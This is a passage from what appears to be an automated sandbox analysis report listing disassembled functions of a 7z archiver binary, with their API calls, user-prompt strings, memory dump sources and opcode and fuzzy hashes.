                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: AE511262314780D2CF50EF26E8513EA7762FB807A8F449126EE4B47395EB7CC585CB14
                                                                                                                                                                                                                                                              Function 006F0E6C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 138COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • EnterCriticalSection.KERNEL32 ref: 006F0E9C
                                                                                                                                                                                                                                                                • Part of subcall function 006B339C: free.MSVCRT ref: 006B33D7
                                                                                                                                                                                                                                                                • Part of subcall function 006B339C: memmove.MSVCRT(00000000,?,?,00000000,006B10A8), ref: 006B33F2
                                                                                                                                                                                                                                                              • fputs.MSVCRT ref: 006F0F5D
                                                                                                                                                                                                                                                              • fputs.MSVCRT ref: 006F0FD8
                                                                                                                                                                                                                                                              • fputs.MSVCRT ref: 006F0FF4
                                                                                                                                                                                                                                                              • LeaveCriticalSection.KERNEL32 ref: 006F1092
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: fputs$CriticalSection$EnterLeavefreememmove
                                                                                                                                                                                                                                                              • String ID: ???
                                                                                                                                                                                                                                                              • API String ID: 2578255354-1053719742
                                                                                                                                                                                                                                                              • Opcode ID: 00556c404eac33c9a52bd7bb8a653997888a1c921732fb09df82643b0d7878c8
                                                                                                                                                                                                                                                              • Instruction ID: ebf57c917de29ce190af43e443756a2b5f3682c612038764ac7c5fbbeb91c4a6
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 00556c404eac33c9a52bd7bb8a653997888a1c921732fb09df82643b0d7878c8
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 59519F72304A85E2EB68DB21DA503FE6362F745B94F448126DF2E07765DF38E9A5C304
                                                                                                                                                                                                                                                              Function 006F0C64 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 119COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              • with the file from archive:, xrefs: 006F0D1C
                                                                                                                                                                                                                                                              • Would you like to replace the existing file:, xrefs: 006F0CF0
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: CriticalSectionfputs$EnterLeave
                                                                                                                                                                                                                                                              • String ID: Would you like to replace the existing file:$with the file from archive:
                                                                                                                                                                                                                                                              • API String ID: 3346953513-686978020
                                                                                                                                                                                                                                                              • Opcode ID: b3065acbe4c6a92e9f3db648331256e44102a71c550aec0345d61f355809c24a
                                                                                                                                                                                                                                                              • Instruction ID: d5713ff34b62a97f82dd3be13d0850c66e3aa8e2ea9c0845ec7674b150d58f81
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: b3065acbe4c6a92e9f3db648331256e44102a71c550aec0345d61f355809c24a
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 6E41D3A235468A91EA698F65D8503F97363FB85B90F4482229F2D07356CF3CD899D309
                                                                                                                                                                                                                                                              Function 006F12B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: CriticalSectionfputs$EnterLeavefree
                                                                                                                                                                                                                                                              • String ID: :
                                                                                                                                                                                                                                                              • API String ID: 1989314732-3653984579
                                                                                                                                                                                                                                                              • Opcode ID: c7219ff94ad641548069c3c2d821b28e0e7cb5fb03aed72e0eb85cefbeb7bda8
                                                                                                                                                                                                                                                              • Instruction ID: a80fcd3cda51160445b91c4722beeac79f8a76a006ee51f4006495ec4e40684a
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: c7219ff94ad641548069c3c2d821b28e0e7cb5fb03aed72e0eb85cefbeb7bda8
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: F7311872200A45C1DB21DF29D8503ED2362FB89BA8F485236DE5D4B7A8CF78C885C364
                                                                                                                                                                                                                                                              Function 006FCE50 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 77COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              • Enter password (will not be echoed):, xrefs: 006FCE69
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: ConsoleMode$Handlefflushfputs
                                                                                                                                                                                                                                                              • String ID: Enter password (will not be echoed):
                                                                                                                                                                                                                                                              • API String ID: 108775803-3720017889
                                                                                                                                                                                                                                                              • Opcode ID: 36bd84e05aa982e1fa57c2f2cf585279101811381d58ea0075c40767b01f72a6
                                                                                                                                                                                                                                                              • Instruction ID: 4989ac11a1564caef12c69d4f7247a7f336cae0c3262352c667aeb363bf68a5b
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 36bd84e05aa982e1fa57c2f2cf585279101811381d58ea0075c40767b01f72a6
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 7921AA2230664A82EE19DB65EA647B96363AF487B0F185235EF1B473E4DF7CC885D304
                                                                                                                                                                                                                                                              Function 006F1AA8 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 66COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: fputsfree
                                                                                                                                                                                                                                                              • String ID: Can not open the file$The archive is open with offset$The file is open$WARNING:
                                                                                                                                                                                                                                                              • API String ID: 2581285248-3393983761
                                                                                                                                                                                                                                                              • Opcode ID: 0c83fb30cb70f6a2b984ecfa0bcc3b2de66b99b3f440bfbea28bcb7ca7027a60
                                                                                                                                                                                                                                                              • Instruction ID: 4e95908a7294623fe3c092b5c1cbf1d2f33cfd4c3075b5e2cb0e4c9e48f11a00
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 0c83fb30cb70f6a2b984ecfa0bcc3b2de66b99b3f440bfbea28bcb7ca7027a60
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: C92177A2704946D5CE60EF25E8503ED6761F785BD4F484326EF1E47365EF28D686C700
                                                                                                                                                                                                                                                              Function 006E7614 Relevance: 10.2, APIs: 8, Instructions: 196COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1294909896-0
                                                                                                                                                                                                                                                              • Opcode ID: b12077aa1a38d381980969ace034f6b3563fad09e3fe92ca21f67a48a02744cb
                                                                                                                                                                                                                                                              • Instruction ID: b22c297369569fb1088f45f0da8280c1e486580ed7866a30e2982e9da34d4fea
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: b12077aa1a38d381980969ace034f6b3563fad09e3fe92ca21f67a48a02744cb
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: C371D22321E7C086CA60EB26E4506DFB766F7DA750F641116EBDA43B59CF38C946CB04
                                                                                                                                                                                                                                                              Function 006DBB68 Relevance: 10.1, APIs: 8, Instructions: 136COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free$memmove
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1534225298-0
                                                                                                                                                                                                                                                              • Opcode ID: 13471f8a4ad2e7cf6aac41453100c4caf2e4d0bde65bb17a80b5ab02e2c60358
                                                                                                                                                                                                                                                              • Instruction ID: e5fdf7fc0835817806f961491f044c59c550d42708d7818b3cc7434d5b49927a
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 13471f8a4ad2e7cf6aac41453100c4caf2e4d0bde65bb17a80b5ab02e2c60358
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 6341F562A04680C1CB35AF29D4102ED37A3EB92B98F196117EB9A0779DDF79C5C6C300
                                                                                                                                                                                                                                                              Function 006D0A58 Relevance: 10.1, APIs: 8, Instructions: 90COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: freememmove$ExceptionThrowmalloc
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1818558235-0
                                                                                                                                                                                                                                                              • Opcode ID: 765776f35c77edad6c13728d38dc7fcf5a9f6dac0127373448571f55f4189822
                                                                                                                                                                                                                                                              • Instruction ID: ff4bec37de849dd521723042926f7d936a8b6efddd4c6fd6c0826dedd2a14f52
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 765776f35c77edad6c13728d38dc7fcf5a9f6dac0127373448571f55f4189822
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: CB316DB27112948BCBA4DF3AD49256D73E6E784FD8718412ADF1D87709DA30DC82CB84
                                                                                                                                                                                                                                                              Function 006E3162 Relevance: 10.0, APIs: 8, Instructions: 42COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1294909896-0
                                                                                                                                                                                                                                                              • Opcode ID: 5bbcb3d30417cb4540914b84c838161a17fbf1d04a96b1a44235b1ed78704236
                                                                                                                                                                                                                                                              • Instruction ID: 8f8a0004bedcc384055d548f706ada44d6e3c9bce2a63a16550f866070cd8d36
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 5bbcb3d30417cb4540914b84c838161a17fbf1d04a96b1a44235b1ed78704236
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: C7F096A124A69281CA50FF36C4B55AE6793FBC3F80F042165EB4E53715CE28C446C30C
                                                                                                                                                                                                                                                              Function 006E30A8 Relevance: 10.0, APIs: 8, Instructions: 41COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1294909896-0
                                                                                                                                                                                                                                                              • Opcode ID: f923bc8cdedd78b2b3edc0c739dd55c56a96e84a99f4fb77f0cef0815a61bf65
                                                                                                                                                                                                                                                              • Instruction ID: 7661cfe6432e6ff2a4265c14c5536102494617ef216aa1e5186da3801e94c261
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: f923bc8cdedd78b2b3edc0c739dd55c56a96e84a99f4fb77f0cef0815a61bf65
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 70F0306224AA9241CA54FF3AC8B56AF6752FBC3F85F051155EB4E23711CE28C486C70C
                                                                                                                                                                                                                                                              Function 006E324C Relevance: 10.0, APIs: 8, Instructions: 41COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1294909896-0
                                                                                                                                                                                                                                                              • Opcode ID: 2522e248d28b65a1e432d56d56702000484c5aa2c33acbb552cec4aae837ae87
                                                                                                                                                                                                                                                              • Instruction ID: 8722d1f0020254d0a3c9c51c7c457730d33aa872c3352bfa258c84e4b60e929b
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 2522e248d28b65a1e432d56d56702000484c5aa2c33acbb552cec4aae837ae87
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: E2F036A225AA9245CA50FF3AC8B56AF6762F7C3F81F051155DB4F63711CE28C546C70C
                                                                                                                                                                                                                                                              Function 006E333D Relevance: 10.0, APIs: 8, Instructions: 40COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1294909896-0
                                                                                                                                                                                                                                                              • Opcode ID: eef51832cb1860b1a47471d2ecdbd40fe6516d0eb3dd3788043c37f3bbfc7144
                                                                                                                                                                                                                                                              • Instruction ID: 149a9173852553c3144b8e62b413688728424e38f047f15636929e674b3767cb
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: eef51832cb1860b1a47471d2ecdbd40fe6516d0eb3dd3788043c37f3bbfc7144
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 06F030A224A6D281CA50FF3AC4B5AAE67A2FBC7F81F051155EB4E13715CE28C446C308
                                                                                                                                                                                                                                                              Function 006E2E29 Relevance: 10.0, APIs: 8, Instructions: 40COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1294909896-0
                                                                                                                                                                                                                                                              • Opcode ID: c5174ab1f7993f2eec1200e5e986d705cda821f000588a3ae1e3b292e3927ade
                                                                                                                                                                                                                                                              • Instruction ID: 4bd7bad620031441c246bb17f3e3bdb3af147aeccfa626e4454f0adb02dc40e8
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: c5174ab1f7993f2eec1200e5e986d705cda821f000588a3ae1e3b292e3927ade
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 71F030A224A6D245CA54FF3AC4B56AE6793FBC7F81F041565EB4E63711CE28C446C30C
                                                                                                                                                                                                                                                              Function 006E2EDB Relevance: 10.0, APIs: 8, Instructions: 38COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1294909896-0
                                                                                                                                                                                                                                                              • Opcode ID: 73516b05c5aded9222374f9846cd335e674db6f98022afe4c7a0822642a89c91
                                                                                                                                                                                                                                                              • Instruction ID: 02662784ff2dc0d1faaae4920bb885f6c217bb7c0313eae22769990f89df96bf
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 73516b05c5aded9222374f9846cd335e674db6f98022afe4c7a0822642a89c91
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 34F0F4A2256A8245CA54FF3AD4716AF63A2FBC7F81F012555EB4F63711CE28C446C70D
                                                                                                                                                                                                                                                              Function 006E2F97 Relevance: 10.0, APIs: 8, Instructions: 38COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1294909896-0
                                                                                                                                                                                                                                                              • Opcode ID: 542bf3f330fecf80eaa0ec81e7d53865c449308f14702187d1a118dc28be755e
                                                                                                                                                                                                                                                              • Instruction ID: da3e06e26952f81464e44b0b74194232d05d1c3a0eb7bc495348a4bbda47b737
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 542bf3f330fecf80eaa0ec81e7d53865c449308f14702187d1a118dc28be755e
